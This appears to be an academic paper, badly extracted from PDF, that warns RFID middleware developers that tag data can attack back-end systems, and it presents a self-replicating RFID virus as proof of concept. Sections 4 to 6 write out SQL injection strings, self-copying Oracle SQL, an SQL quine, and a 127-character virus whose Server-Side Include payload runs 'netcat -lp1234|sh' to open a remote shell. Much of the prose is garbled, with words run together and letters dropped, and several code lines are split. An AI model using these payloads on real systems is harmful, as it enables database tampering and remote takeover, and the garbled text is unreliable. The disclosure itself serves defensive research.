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Abstract

RFID systemsas a whole are often treatedwith suspi-
cion, but theinput datareceivedromindividual RFID tags
is implicitly trusted. RFID attads are currently conceived
asproperlyformattedbut fake RFID data; however no one
expectsan RFID tag to senda SQL injection attack or a
buffer over ow. Thispaperis meantto serveasa warning
that data from RFID tags can be usedto exploit badk-end
softwae systemsRFID middlevare writers musttherefore
build appropriate chedks (boundscheding, specialcharac-
ter ltering, etc..),to preventRFID middlevare from suf-
fering all of the well-knownvulnembilities experiencecdby
the Internet. Furthermoe, as a proof of concept.this pa-
per presentghe r stself-replicatingRFID virus. Thisvirus
usesRFID tags as a vectorto compomisebadend RFID
middlavare systemsyia a SQLinjectionattac.

1. Intr oduction

Yearsafter the successfulintroduction of RFID-based
pet tagging, Seththe veterinarians pet identi cation sys-
temstarteddisplayingoddbehavior. First,the RFID reader
seemedo bereportingincorrectpetaddresslata.A couple
hourslater, the systemseemedo beerasingdatafrom pets'
RFID tags. Thenthe strangesthing of all happenedthe
LCD displayon the petidenti cation computerfroze and
displayedhe ominousmessage'All yourpetarebelongto
us’t

Input datacan be usedby haclersto exploit back-end
softwaresystemsThis s old news, but it hasnot prevented
RFID systemdesignersrom implicitly trustingthe struc-
tural integrity of dataprovided by RFID tags. RFID at-
tacksare commonly conceved as properly formattedbut
fake RFID data. However, no one currently expectsan
RFID tagto senda SQL injection attackor a buffer over

1see:http://en.wikipedia.aywiki/All _your_baseare belongto_us

ow. This paperwill demonstratehatthe trustthatRFID

tag datarecevesis unfounded.The securitybreacheghat
RFID deployersdreadmost— RFID maware,RFID worms,
andRFID viruses— areright aroundthe corner To prove

our point, this paperwill presentthe rst self-replicating
RFID virus. Our mainintentionbehindthis paperis to en-
courageRFID middlevaredesignerso adoptsafeprogram-
ming practicesln thisearlystageof RFID deployment,SW
developersstill have the opportunityto “lock down” their
RFID systemsto preparghemfor the attacksdescribedn

this paper

1.1 Intro duction to RFID

RadioFrequenyg Identi cation (RFID) is thequintessen-
tial Penasve Computingtechnology Touted as the re-
placemenfor traditionalbarcodesRFID's wirelessidenti-
cation capabilitiespromiseto revolutionizeour industrial,
commercialandmedicalexperiencesThe heartof the util-
ity is thatRFID makesgatheringnformationaboutphysical
objectseasy Information aboutRFID taggedobjectscan
be transmittedfor multiple objectssimultanouslythrough
physicalbarriers,and from a distance. In line with Mark
Weisersconcepbf “ubiquitouscomputing”[2Q, RFID tags
could turn our interactionswith computinginfrastructure
into somethingsubconsciouandsublime.

This promisehasled investorsjnventors,andmanufic-
turersto adopt RFID technologyfor a wide array of ap-
plications. RFID tagscould help combatthe counterfeit-
ing of goodslike designersnealers,pharmaceuticadlrugs,
andmoney. RFID-basedwutomaticcheclout systemsnight
tally up andpayour bills at supermarkts,gasstationsand
highways. We reafrm our position as “top of the food
chain” by RFID taggingcows, pigs, birds, and sh, thus
enabling ne-grained quality controlandinfectiousanimal
diseasdracking. RFID technologyalso managesur sup-
ply chainsmediate®uraccess$o buildings,tracksourkids,
anddefendsagainstgrave robbers[§. The family dogand
cat even have RFID petidenti cation chipsimplantedin



them; given the trend towardssubdermaRFID use, their
ownerwill benextin line.

1.2 Well-Kno wn RFID Threats

This penasive computingutopiaalso hasits dark side.
RFID automatesnformation collection aboutindividuals'
locationsand actions, and this data could be abused by
haclers, retailers, and even the government. There are
a numberof well-establishedRFID security and privacy
threats.

1. Snif ng. RFID tagsare designedo be readby ary
compliantreadingdevice. Tag readingmay happen
without the knowledgeof the tag bearey andit may
also happenat large distances. One recentcontro-
versy highlighting this issue concernedthe “skim-
ming” of digital passportqa.k.a Machine Readable
Travel Documents[4).

2. Tracking. RFID readersin stratgic locationscan
recordsightingsof uniquetagidenti ers (or “constel-
lations” of non-uniqudagIDs), which arethenassoci-
atedwith personaldentities. Theproblemarisesvhen
individualsaretrackedinvoluntarily. Subjectamaybe
consciousof the unwantedtracking(i.e. schoolkids,
seniorcitizens,and compary employees),but that is
notalwaysnecessarilghe case.

3. Spoo ng. Attackerscancreate*authentic” RFID tags
by writing properly formattedtag data on blank or
rewritable RFID transponders. One notable spoof-
ing attack was performed recently by researchers
from JohnsHopkins Universityand RSA Security[§.
The researcherslonedan RFID transponderusinga
sniffed (anddecryptedjdenti er, thatthey usedto buy
gasolineand unlock an RFID-basedcar immobiliza-
tion system.

4. Replay attacks. Attackerscaninterceptandretrans-
mit RFID querieausingRFID relaydevices[14. These
retransmissionsanfool digital passporteaderscon-
tactlesspaymentsystems,and building accesscon-
trol stations. Fortunately implementingchallenge-
responseauthenticationbetweenthe RFID tags and
back-endmiddlevareimprovesthesituation.

5. Denial of Sewice. Denial of Service(DoS)is when
RFID systemsare preventedfrom functioning prop-
erly. Tagreadingcanbehinderedby Faradaycages or
“signal jamming”, both of which preventradio waves
from reachingRFID taggedobjects.DoS canbedisas-
terousin somesituations suchaswhentrying to read

2The Germaranti-RFIDgroupFoeBuDsells“RFID absorbefoil” that
is bothportableandfashionable

medicaldatafrom VeriMed subdermaRFID chipsin
thetraumawardat the hospital.

This list of cateyories representsthe current state
of “common knowledge” regarding security and privacy
threatsto RFID systems. This paperwill (unfortunately)
add a new category of threatsto this list. All of the pre-
viously discussedhreatsrelateto the high-level misuseof
properlyformattedRFID data,while the RFID malwarede-
scribedin this paperconcernghe low-level misuseof im-
properlyformattedRFID tag data.

2 The Troublewith RFID Systems

RFID malareis a Pandoras box thathasbeengather
ing dustin thecornerof our“smart” warehouseandhomes.
While theideaof RFID viruseshassurelycrossedeoples
minds,the desireto seeRFID technologysucceedassup-
pressedhry seriousconsideratiorof the concept. Further
more,RFID exploits have notyetappearedin thewild” so
peoplecorveniently gure thatthe power constraints§aced
by RFID tagsmake RFID installationsnvulnerableto such
attacks.

Unfortunately this viewpoint is nothing more than a
productof our wishful thinking. RFID installationshave a
numberof characteristicshat make themoutstandingcan-
didatesfor exploitationby maware:

1. Lots of Source Code. RFID tagshave power con-
straintsthatinherentlylimit complexity, but the back-
endRFID middlevaresystem$ maycontainhundreds
of thousandsif not millions, of lines of sourcecode.
If thenumberof softwarebugsaveragebetweer6-16
per1,000lines of code[1, RFID middlewareis likely
to have lots of exploitableholes. In contrast,smaller
“home-gravn” RFID middlewaresystemaswill proba-
bly have fewer lines of code,but they will alsomost
likely suffer from insufcient testing.

2. Generic Protocolsand Facilities. Building on exist-
ing Internetinfrastructureis a scalable cost-efective
mannerto develop RFID middlevare. However,
adoptinglinternetprotocolsalsocausesRFID middle-
wareto inheritadditionalbaggagelik e well-known se-
curity vulnerabilities. The EPCglobalnetwork exem-
pli es this trend,by adoptingthe DomainNameSys-
tem (DNS), Uniform Resourcddenti ers (URIs), and
ExtensibleMarkup LanguagegXML).

3. Back-End Databases.The essenc®f RFID is auto-
mateddatacollection. However, the collectedtag data
mustbe storedandqueried;o ful Il largerapplication

3By RFID middleware, we arereferringto the combinationof RFID
readelinterfaces applicationseners,andback-enddatabases.



purposes. Databasesre thus a critical part of most
RFID systems— a fact which is underscoredy the
involvementof traditionaldatabaseendorslike SAP
andOraclewith commerciaRFID middlevaredevel-
opment. The badnews is that databaseare alsosus-
ceptableto security breaches. Worse yet, they even
have their own uniqueclasse®f attacks.

4. High-Value Data. RFID systemsareanattractve tar-
getfor computercriminals. RFID datamay have a -
nancialor personatharacterandit is sometimesven
importantfor nationalsecurity(i.e. the dataon digi-
tal passports.Making the situationworse,RFID mal-
warecould concevably causemoredamagehannor-
mal computerbasedmalware. This is becauseRFID
malware hasreal-world side effects: besidesharming
back-end T systemsit is alsolikely to harmtagged
real-world objects.

5. FalseSenseof Security. Themajority of hackattacks
exploit easytargets,and RFID systemsare likely to
be vulnerablebecausaobodyexpectsRFID malware
(yet); especiallynot in of ine RFID systems. RFID
middlewaredevelopersmeedo take measureso secure
their systems(SeeSection7), and we hopethat this
articlewill promptthemto dothat.

3 RFID-BasedExploits

RFID tagscandirectly exploit back-endRFID middle-
ware. Skepticsmight ask,“RFID tagsaresoresourcdim-
itedthatthey cannotvenprotectthemseles(i.e. with cryp-
tography)- sohow couldthey ever launchanattack?"The
truth, however, is that RFID middleware exploitation re-
guiresmoreingenuitythanresourcesThe manipulationof
lessthan 1 Kbits of on-tagRFID datacanexploit security
holesin RFID middlewvare,subvertingits security andper
hapseven compromisinghe entirecomputey or the entire
network!

RFID tagscanperformthefollowing typesof exploits:

1. Buffer over ows. Buffer over ows are one of the
most common sourcesof security vulnerabilitiesin
software. Foundin bothlegag/ andmodernsoftware,
buffer over ows costthe software industry hundreds
of millions of dollarsperyear Buffer over ows have
alsoplayeda prominentpartin eventsof hacler leg-
endandlore, including the Morris (1988), CodeRed
(2001),andSQL Slammer(2003)worms.

Buffer over ows usuallyariseasa consequencef the
improperuseof languagesuchasC or C++ thatare
not “memory-safé. Functionswithout boundscheck-
ing (strcpy, strlen,strcat,sprintf, gets),functionswith
null terminationproblems(strncpy, snprintf, strncat),

andusercreatedunctionswith pointerbugsarenoto-
riousbuffer over ow enablers[]L

Thelife of a buffer over ow beginswhenan attacler
inputs dataeitherdirectly (i.e. via userinput) or in-
directly (i.e. via ervironmentvariables). This input
datais deliberatelylongerthenthe allocatedendof a
buffer in memory soit overwriteswhatever elsehap-
penedto bethere. Sinceprogramcontrol datais often
locatedin the memoryareasadjacento databuffers,
the buffer over ow cancausethe programto execute
arbitrarycode[3.

RFID tagscanexploit buffer over owsto compromise
back-endRFID middlevaresystems.This is counter

intuitive, since most RFID tagsare limited to 1024
bits or less. However, commandslike 'write mul-

tiple blocks' from 1SO-15693can allow a resource-
poorRFID tagto repeatedlysendthe samedatablock,

with the netresultof lling up an application-leel

buffer. Meticulousformatting of the repeatedlysent
datablock canstill manageto overwrite a returnad-

dressonthestack.

An attacler canalso“cheat” andusecontactlessmart
cardswhich have alargeramountof availablestorage
space. Betteryet, an attacler canreally blow RFID

middleware's buffers away, by using a resourcerich

actively-powveredRFID tagsimulatingdevice, like the

RFID Guardian[1T.

. Code Insertion. Malicious codecanbe injectedinto

an applicationby an attacler, using any number of

scripting languagesincluding VBScript, CGl, Java,

Javascript,andPerl. HTML insertionand Cross-Site
Scripting (XSS) arecommonkinds of codeinsertion,
andonetell-talesignof theseattackss the presencef

thefollowing specialcharacterén inputdata:

<> %) (& +-

To performcodeinsertionattackshackersusually rst

craft maliciousURLSs, followed by “social engineer
ing” efforts to trick usersinto clicking on them[2.

Whenactivated thesescriptswill executeattacksang-
ing from cookiestealing,to WWW sessiorhijacking,
to even exploiting web browser vulnerabilitiesin an
attemptto compromiseheentirecomputer

RFID tagswith datawritten in a scripting language
canperformcodeinsertionattackson someback-end
RFID middlewvare systems.If the RFID applications
use web protocolsto query back-enddatabasegas
EPCglobaldoes) thereis a chancehatRFID middle-
wareclientscaninterpretthe scriptinglanguagegper

hapsbecause¢hesoftwareis implementedisingaweb
client). If thisis the casethenRFID middlewarewill



be susceptabléo the samecodeinsertionproblemsas
your typical webbrowsers.

3. SQL injection. SQL injectionis a type of codein-
sertionattackthattricks a databasénto running SQL
codethatwasnotintended Attackershave severalob-
jectiveswith SQL injection. First, they might wantto
“enumerate”(map out) the databasestructure. Then,
theattaclersmightwantto retrieve unauthorizedlata,
or make equally unauthorizednodi cations or dele-
tions. Databaseslsosometimesllow DB adminis-
tratorsto executesystemcommands. For example,
Microsoft SQL Sener executescommandsausing the
'xp _cmdshell' storedprocedure. The attacler might
usethisto compromiseéhecomputeisystempy email-
ing the systems shadaev passverd le to acertainlo-
cation.

RFID tag datacancontainSQL injection attacksthat
exploit back-endRFID middlevare databasesRFID

tagdatastoragdimitationsarenotaproblemfor these
attacksbecausét is possibleto do quite alot of harm
in a very small amountof SQL[5]. For example,the
injectedcommand:

:shutdown--

will shutdown a SQL sener instance,usingonly 12
character®f input. Anothernastycommands:

drop table <tablename>

whichwill deletethe speci ed databasé¢able. Justas
with standardSQL injection attacksf the DB is run-
ning asroot, RFID tagscanexecutesystemcommands
which could compromisean entire computey or even
theentirenetwork!

3.1 RFID-Based Worms

A worm is a programthat self-propagateacrossa net-
work, exploiting security aws in widely-usedservices.A
wormis distinguishablérom avirusin thatawormdoesnot
requireary useractiity to propagate[1p Wormsusually
have a “payload”, which performsactivities rangingfrom
deleting les, to sendingnformationvia email,to installing
softwarepatches.Oneof the mostcommonpayloadsor a
worm is to install a “backdoor”in the infectedcomputer
which grantshaclers easyreturn accesgo that computer
systemin thefuture.

An RFID worm propagatedy exploiting security a ws
in online RFID services. RFID worms do not necessarily
requireusersto do arything (like scanningRFID tags)to

propagatealthoughthey will alsohappilyspreadvia RFID
tags,if giventhe opportunity

The processbegins when RFID worms rst discover
RFID middlenvaresenersto infect over the Internet. They
use network-basedexploits as a “carrier mechanism”to
transmitthemseles onto the target. One exampleare at-
tacksagainstEPCglobals Object Naming Service(ONS)
seners,which are susceptibld¢o severalcommonDNS at-
tacks.(Se€g[9] for moredetails.)Theseattackscanbe auto-
mated,providing the propagatiormechanisnfor an RFID
worm.

RFID wormscanalsopropagatevia RFID tags. Worm-
infectedRFID middlewarecan“infect” RFID tagsby over
writing theirdatawith anon-tagexploit. Thisexploit causes
nev RFID middlevare senersto download and execute
some le from aremotelocation. The le wouldinfectthe
RFID middleware sener in the samemanneras standard
malware,thuslaunchinganew instanceof the RFID worm.

4 RFID-BasedViruses

While RFID wormsrely uponthe presencef a network
connectionatruly self-replicatingRFID virusis fully self-
sufcient. This upcomingsectionwill demonstratéow to
createa self-replicatingRFID virus, requiringonly anin-
fectedRFID tagasanattackvector
4.1 Application Scenario

We will startoff our RFID virus discussiorby introduc-
ing a hypotheticabut realisticapplicationscenario:

A supermarkt distribution centeremploys a warehouse
automationsystemwith reusableRFID-taggedcontainers.
Typical systemoperationis asfollows: a palletof contain-
erscontaininga raw product(i.e. freshproduce)passedy
anRFID readeruponarrival in the distribution center The
readeridenti es anddisplaysthe products'serialnumbers,
andit forwardstheinformationto acorporatedatabaseThe
containersare then emptied, washed,and re lled with a
packagediersionof the same(or perhapsa different)prod-
uct. An RFID readerthenupdategshe containers RFID tag
datato re ect the new cargo, andthere lled containeris
sentoff to alocal supermarktbranch.

4.1.1 Back-End Architecture

The RFID middleware architecturefor this systemis not
verycomplicated TheRFID systemhasseveralRFID read-
ersat the front-end,and a databaset the back-end. The
RFID tagson the containersare read/write,andtheir data
describeshecamgothatis storedin the container Theback-
endRFID databasealsostoresnformationabouttheincom-
ing andoutgoingcontainers'caigo. For the sale of our dis-



cussion,let us say that the back-enddatabasecontainsa
tablecalledNewContainerContents:

TaglD | ContainerContents
123 Apples
234 Pears

Table 1. NewContainerContents table

This particulartable lists the caigo contentsfor re lled
containersAccordingto thetable,thecontainemwith RFID
tag#123will bere lled with applesandthe containemith
RFID tag#234will bere lled with pears.

4.2 How The RFID Virus Works

Oneday a containerarrivesin the supermarkt distribu-
tion centerthatis carryinga surprisingpayload. The con-
tainer's RFID tag is infectedwith a computervirus. This
particularRFID virususesSQL injectionto attacktheback-
endRFID middlewvaresystems.

When the containers RFID tag datais read, SQL in-
jection codeis unintentionallyexecutedby the back-end
database.This particularSQL injection attacksimply ap-
pendsa copy of its own codeto all of the existing data
in theContainerContent®w of theNewContainerContents
databas¢able.Laterin the day, a differentcontaineris un-
loadedandre lled with new calgo. Thewarehousenanage-
mentsystemwritesthe (modi ed) ContainerContentgalue
into the RFID tag on that containey thus propagatingthe
infection. The newly-infected containeris thensenton its
way, to infect otherestablishmentsRFID automationsys-
tems(assumingiseof thesamemiddlevaresystem).These
RFID systemsthen infect other RFID tags, which infect
otherRFID middlewvaresystemsetc..

Speci cally, an RFID tag might containthe following
data:

Contents=Raspberries;UPDATE NewContainerContents
SET ContainerContents = ContainerContents Il
“5[SQL  Injection]”;

The RFID systemexpectsto receve the databeforethe
semicolon. (In this case,the datadescribeshe container
contentswhich happento be freshly pluckedraspberries.)
The semicolonitself, however, is unexpected;it senesto
concludethe currentquery andbegin anew one. The SQL
injectionattackis locatedafterthe semicolon.

4.2.1 DealingWith Self-Reference

This all soundsgoodin theory but the SQL injection part
remainsto be lled in. Drawing from our previousformu-
lation:

[SQL Injection] = UPDATE NewContainerContents
SET ContainerContents = ContainerContents Il
“5[SQL  Injection];

This SQL injection statements self-referentialandwe
needawayto getaroundthis. Hereis onepossiblesolution:
Most databasebave a commandhatwill list the currently
executingqueries.This canbeleveragedo Il in the self-
referentialpartof the RFID virus. For example thisis such
acommandn Oracle:

SELECT SQL_TEXT FROMv$sql
SQL_TEXT,"")>0;

WHEREINSTR(

There are similar commandsin Postgres, MySQL,
Sybase and other databaserograms. Filling in the “get
currentquery” command,our total RFID viral code now
lookslike#

Contents=Raspberries;
UPDATE NewContainerContents

ContainerContents | |
SQL_TEXT FROMv$sql

SET ContainerContents=
CHR(10) || (SELECT
WHEREINSTR(SQL_TEXT,")>0);

The self-reproductre capabilitiesof this RFID virus are
now complete.

5 Optimizations

The RFID virus, asit was just describedhasa lot of
room for improvement. This sectionwill introduceopti-
mizationsfor increasingviral stealthandgenerality

5.1 Increased Stealth

The RFID virusis not very stealthy The SQL injection
attackmakesobviouschangedo the databas¢ables which
canbecasuallyspottedby a databasedministrator

To solvethis problem,RFID virusescanhidethemodi -
cationsthey make. For example the SQL injectionpayload
could createandusestoredprocedureso infect RFID tags,
while leaving thedatabaséablesunmodi ed. SinceDB ad-
ministratorsdo not examinestoredprocedurecodeasfre-
guentlyasthey examinetabledata,it is likely to take them
longerto noticetheinfection. However, thedisadwantageof
usingstoredproceduress thateachbrandof databasénas
its own built-in programminglanguage. So the resulting
viruswill bereasonablylatabase-speci c.

Ontheotherhand,stealthmight not evenbethatimpor-
tantfor RFID viruses.A databasedministratomight spot
and x theviral infection,but the damagehasalreadybeen
doneif even a single infected RFID-taggedcontainerhas
left the premises.

4ThisRFID virusis speci cally writtento work with OracleSQL*Plus.
The CHR(10)is alinefeed requiredfor the queryto executeproperly



5.2 Increased Generalit y

Another problemwith the previously describedRFID
virus is that it relies upon a certain underlying database
structure,thuslimiting the virus' reproductve ability to a
speci ¢ middlewarecon guration. An improvementwould
beto createa moregenericviral reproductve mechanism,
which can potentially infect a wider variety of RFID de-
ployments.

Oneway to createa moregenericRFID virusis to elim-
inatethe nameof thetableandcolumnsfrom the reproduc-
tive mechanism. The SQL injection attack could instead
appendiatato the multiple tablesandcolumnsthathappen
to be present. The downsideof this approachis thatit is
dif cult to control—if datais accidentallyappendedo the
TaglD column,thevirus will notevenreproducearymore!

5.3 Adding Generalit y with Quines

The RFID virus canachiese further generalityby self-
reproducingwithout the aid of the DB-speci ¢ command
“get currentquery”. Oneway for our RFID virusto do this
is to usea SQL quine?®

A quineis a programthat prints its own sourcecode.
DouglasR. Hofstadtercoinedthe term'quine’ in his book
'‘Godel, EscheyBach'[1]], in honorof Willard van Orman
Quinewho rst introducedthe concept.A few basicprinci-
plesapplywhentrying to write self-reproducingode.The
mostimportantprinciple is thatquinesconsistof a “code”
and“data” portion. The dataportion representshe textual
form of thequine. The codeusesthe datato print the code,
andthenusesthe datato print the data. Hofstadterclari es
this by makingthe following analogyto cellular biology:
the “code” of a quineis like a cell, andthe “data” is the
cell's DNA. The DNA containsall of the necessarynfor-
mationfor cell replication. However, whena cell usesthe
DNA to createanew cell, it alsoreplicategshe DNA itself.

Now that we understandvhat a quine is, we want to
write onein SQL. Here is one example of a SQL quine
(PostgreSQL)[1B

SELECT substr(source,1,93) Il

chr(39) || source ||

chr(39) || substr(source,94) FROM(SELECT 'SELECT
substr(source,1,93) | chr(39) || source || chr(39)
|| substr(source,94) FROM(SELECT :text as source)

g;"itext as source) g;

This SQL quine simply reproducesdtself — and does
nothingmore.

SRFID virusesusingquinestendto have a large numberof characters,
sotheattacksdescribecherearebettersuitedto contactlessmartcardys-
tems.

5.3.1 Adding PayloadsasIntr ons

Self-replicatingSQL codeis purely a mentalexerciseuntil
it doessomethingfunctional. We would like to addviral
“payloads”to the SQL quine, but we do not wantto harm
its self-reproductieability. To achievethis,we canusein-
trons”, which are piecesof quine datathat are not usedto
outputthequinecode but thatarestill copiedwhenthedata
is written to the output. The term “intron” is a continu-
ation of Hofstadters analogy who comparechon-essential
quinedatawith theportionsof DNA thatarenotusedo pro-
duceproteins.A quine'sintronsarereproducedlongwith
a quine, but they arenot necessaryo the self-reproducing
ability of the quine. Therefore,an intron canbe modi ed
without a reproductve penalty; makingintronsthe perfect
placeto put SQL injectionattacks.

5.3.2 Polymorphic RFID Viruses

A polymorphicvirusis avirusthatchangedts binarysigna-
tureeverytimeit replicateshinderingdetectiorby antivirus
programs.

We canuse“multi-quines” to createpolymorphicRFID
viruses. A multi-quine is a set of programsthat print
theirown sourcecode,unlesggivenparticularinputs,which
causehe programgo print the codeof anothemprogramin
theset[153. Multi-quineswork usingintrons;the intron of
a rst programrepresentghe code of a secondprogram,
andthe intron of the secondprogramrepresentshe code
of the rst. Multi-quine polymorphicRFID viruseswork in
thesameway: whenthevirusis passed particularparam-
eter it producesa representatiorf the seconadvirus; and
vice-versa. The varying parameteicould be a timestamp,
or somequality of the RFID back-enddatabas¢hatis cur
rently beinginfected.

To malke the virus truly undetectabldy antiviral signa-
ture matching,encryptionwould also be necessaryo ob-
scurethe RFID virus' code portion. Amazingly enough,
David Madorehasalreadydemonstratedhis possibility —
hewroteaquine(in C) thatstoresits own codeenciphered
with the blow sh cryptographicalgorithmin its data[13.
Unfortunately this quine is sufciently large that it no
longerreasonablyts on a contactlessmartcard. How-
ever, it doessene asaremarkableexampleof whatcanbe
achievedusinga heartydoseof brain-paverandfully self-
reproducingcode!

6 Implementation

Yogi Berraoncesaid, “In theorythereis no difference
betweertheoryandpractice.In practicethereis.” For that
reasonwe have implementedour RFID malwareideas,to
testthemfor their real-world applicability.



6.1 Detailed Example: Oracle/SSI Virus
This sectionwill give a detaileddescriptionof an RFID
virus implementationthat speci cally targets Oracle and
ApacheSener-Sidelncludes(SSIs).This RFID virus com-
binesself-replicatiorwith amalicouspayload andthevirus
leveragesboth SQL and scriptinjection attacks. It is also
smallenoughto t on alow-costRFID tag, with only 127

characters.

6.1.1 Back-End Ar chitecture

Real-lifeRFID deploymentsemploy awide varietyof phys-
ically distributed RFID readersaccesgatavays, manage-
mentinterfacesanddatabaseslo imitatethis architecture,
we createda modulartest platform, that is illustratedin
Figure1l. We have usedthis platform to successfullyat-
tack multiple database¢MySQL, PostgresOracle, SQL
Sener); We would describeit all here,but dueto lack of
space,the non-Oracleviruses(and their variants)will be
discussedh a subsequentaper
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Figure 1. RFID Malware Test Platform

To test Oracle-speci cviral functionality, we useda
Windows machinerunningthe Oracle10g databas@long-
side a Philips 1.Code/MIFARE RFID reader(with 1.Code
SLI tags).We alsouseda Linux machinerunningthe Man-
agementnterface(PHP on Apache)andthe DB Gatavay
(CGl executablen/ OCl library, version10).

A virus is meaninglessvithout a target application,so
we choseto continuethe supermarkt distribution center
scenariofrom Section4. Our Oracledatabasés thuscon-
gured asfollows:

CREATE TABLE ContainerContents (

TaglD VARCHAR(16),
NewContents VARCHAR(128),
OldContents VARCHAR(128)

);

As before, the TagID is the 8-byte RFID tag UID
(hex-encoded)andthe OldContentscolumnrepresentshe

“known” contentsof the containey containingthe lastdata
valuereadfrom the RFID tag. Additionally, the NewCon-
tentscolumnrepresentshere lled cago contentghatstill
needto be written to the RFID tag. If no updateis avail-
able, this columnwill be NULL, and RFID tag datawill
not be rewritten. A typical view of the ContainerContents
is providedin Table2.

TagID | OldContents | NewContents
123 Apples Oranges
234 Pears

Table 2. ContainerContents table

6.1.2 The Virus

Thefollowing Oracle/SSVirususesSQL injectiontoin-

fectthedatabase:
Apples',NewContents=(select SUBSTR(SQL_TEXT,43,
127)FROM v$sql  WHEREINSTR(SQL_TEXT,'<!--#exec
cmd=""netcat -lp1234|sh"-->")>0)--

Self-replicationworks in a similar fashionas demon-
stratedearlier, by utilizing the currentlyexecutingquery:

SELECT SUBSTR(SQL_TEXT,43,127)FROM v$sgl
WHEREINSTR(SQL_TEXT, ...payload...)>0)

However, this virus also hasa bonuscomparedto the
previousone—it hasa payload.

<l--#exec = cmd=""netcat -lp1234|sh"-->

Whenthis Sener-Side Include (SSl)is activatedby the
Managementnterface, it executesthe systemcommand
'netcat’, whichopensabackdoor Thebackdoolis aremote
commandshellon port 1234 ,which lastsfor thedurationof
the SSlexecution.

6.1.3 Databaselnfection

When an RFID tag (infectedor non-infected)arrives, the
RFID Readetnterfacereadghetag'sID anddata,andthese
valuesarestoredappropriatelyThe RFID Readeiinterface
thenconstructsjuerieswhich aresentto the OracleDB via

the OCI library. The OldContentscolumnis updatedwith

thenewly readtagdata,usingthefollowing query:

UPDATE ContainerContents SET OldContents=
'tag.data’ WHERETagld="tag.id";

Unexpectedlythevirus exploits the UPDATE query:

UPDATE ContainerContents
'‘Apples',NewContents=(select
SQL_TEXT,43,127)FROM v$sql
SQL_TEXT,'<!--#exec cmd="netcat
sh"-->")>0)--"WHERE Tagld='123'

SET OldContents=
SUBSTR(

WHEREINSTR(

-lp1234|



TagID | OldContents | NewContents

123 Apples
STR(SQLTEXT, <!
234 Apples

STR(SQLTEXT, <!

Apples',NevContents=(selecSUBSTR(SQLTEXT,43,127)FROM v$sql WHERE IN-
#execcmd="netcatlp1234sh”
Apples',NavContents=(selecSUBSTR(SQLTEXT,43,127)FROM v$sql WHERE IN-
#execcmd="netcatlp1234sh”

>">0)

>>0)

Table 3. Infected ContainerContents Table

This resultsin two changego the DB: the OldContents
columnis overwrittenwith 'Apples’, andthe NewContents
columnis overwrittenwith a copy of thevirus. Becausehe
two dashestthe endof thevirus commentbuttheoriginal
WHERE clause,thesechangesoccurin every row of the
database.Table 3 illustrateswhat the databaseable now
lookslike.

6.1.4 Payload Activation

TheManagemeninterfacepollsthedatabaséor currenttag
data,with the purposeof displayingthe OldContentsand
NewContentolumnsin awebbrowser Whenthebrowser
loadsthevirus (from NewContents)jt unintentionallyacti-
vatesthe Sener-SideInclude,which causes backdoorto
brie y openon port 1234 of the web sener. The attacler
now hasa commandshell on the Managementnterface
machine,which hasthe permissionof the Apacheweb-
sener. Theattacler canthenusenetcatto furthercompro-
mise the Managementnterfacehost, and may even com-
promisethe back-endDBs by modifying andissuingunre-
strictedqueriesghroughthewebinterface.

6.1.5 Infection of New Tags

After the databases infected, new (uninfected)tagswill
eventuallyarrive at the RFID system.NewContentdatais
writtento thesenewly arriving RFID tags,usingthefollow-
ing query:

SELECT NewContents FROMZContainerContents
WHERETagld="tag.id";

If NewContentshappendo containviral code,thenthis
is exactly whatgetswritten to the RFID tags. Datawritten
to the RFID tag is thenerasedoy the system,resultingin
theremoval of thevirus from the NewContentscolumn. So
in orderfor the virus to perpetuateat leastone SSI must
be executedbeforeall NewContentsrows are erased.(But
mostRFID systemdahave lots of tags,so this shouldnot be
aseriousproblem.)

6.2 Lessons Learned

We have learnedthe following lessonsrom implemen-
tatingour malwareideason |.CodeSLI RFID tags.

Figure 2. The world's r st virall y-inf ected
RFID tag

1. Spacelimitations. Thel.CodeSLI taghas28 blocks
of 8-digit (4 byte) hex numberdor atotal of 896 bits
of data. Using ASCII (7-bit) encoding,128 charac-
terswill t on asingle RFID tag. The Oraclevirus
is 127 charactershut this small size requiredtrade-
offs. We hadto shorterthe Oracle“get currentquery”
codeto the point thatthe replicationworks erratically
whentwo infectedRFID tagsarereadsimultaneously
It is alsopossibleto squeezenut extra charactersdy
shorteningpayloadsandDB columnnamegwhich is
not possiblein real-life RFID deployments).It is also
worthrememberinghatasRFID technologyimproves
over time, low-costtagswill have morebits andthus
beableto supportincreasinglycomplex RFID viruses.

Another solutionis to usehigh-costRFID tagswith
largercapacitieqi.e. contactlessmartcards).For ex-
ample,the MIFARE DESFireSAM contactlessmart
cardhas72 kBits of storage("10,000charactersv/ 7-
bit ASCII encoding).However, this hasthe disadwan-
tagethatit will only work in certainapplicationsce-
nariosthatpermitthe useof moreexpensvetags.

A nal solution is to spreadRFID exploits across
multiple tags. The rst portion of the exploit code
canstoreSQL codein a DB locationor ervironment
variable. A subsequentag canthen add the rest of



the code,andthen'PREPARE' and executethe SQL
guery However, this solutionis problematicboth be-
causdt useamultiple tags(whichmayviolateapplica-
tion constraints)plusit requiresthe tagsto bereadin
thecorrectorder Notethatthis alsowill notwork for
RFID viruses,sincethe total contentsaretoo large to
rewrite to asingleRFID tag.

2. Quine generality issues. SQL is StructuredQuery
Language,not StandardQuery Language. In other
words,SQLis notSQL is not SQL: differentdatabases
offer different variantsand subsetsof the SQL lan-
guage. This meansthat even quineswritten purely in
SQL canstill be databasspeci c. For this reasonthe
example SQL quine from Section5.3 only works on
PostgreSQLand not on Oracle. This is dueto vari-
ancesn SQL commands-concat()vs. jj, charvs. chr,
etc.. Thismeanghatatruly platformindependensQL
guinewould needto avoid theseplatform-speci cSQL
commands.

3. Self-replication issues. Utilizing the currently ex-
ecuting query for RFID virus self-replicationonly
works in certain circumstances. MySQL's “SHOW
FULL PROCESSLIST"commandwvon't returna use-
able result set, outsidethe C API, and PostgreSQL
alsohasa “reporting delay” which resultsin the cur-
rentquery being specied as '<IDLE>'. On the
other hand, utilizing the currently executing query
is not a problem with Oracle — “SELECT SUB-
STR(SQLTEXT,43,127)FROM v$sql WHERE IN-
STR(SQLTEXT, ...payload..> 0)" works just ne
(assumingadministratomprivileges).

7 Discussion

Now that we have demonstratedhow to exploit RFID
middleware systems,it is importantfor RFID middiware
designersandadministratorgo understanchow to prevent
and x theseproblems.Concernegartiescanprotecttheir
systemsagainstRFID malware by taking the following
steps[1§

1. Bounds checking Boundscheckingis the meansof
detectingwhetheror notanindex lies within thelimits
of anarray It is usually performedby the compiler,
soasnotto induceruntimedelays.Programmindan-
guageshat enforcerun-time checking,like Ada, Vi-
sualBasic,Java,andC#,donotneedboundschecking.
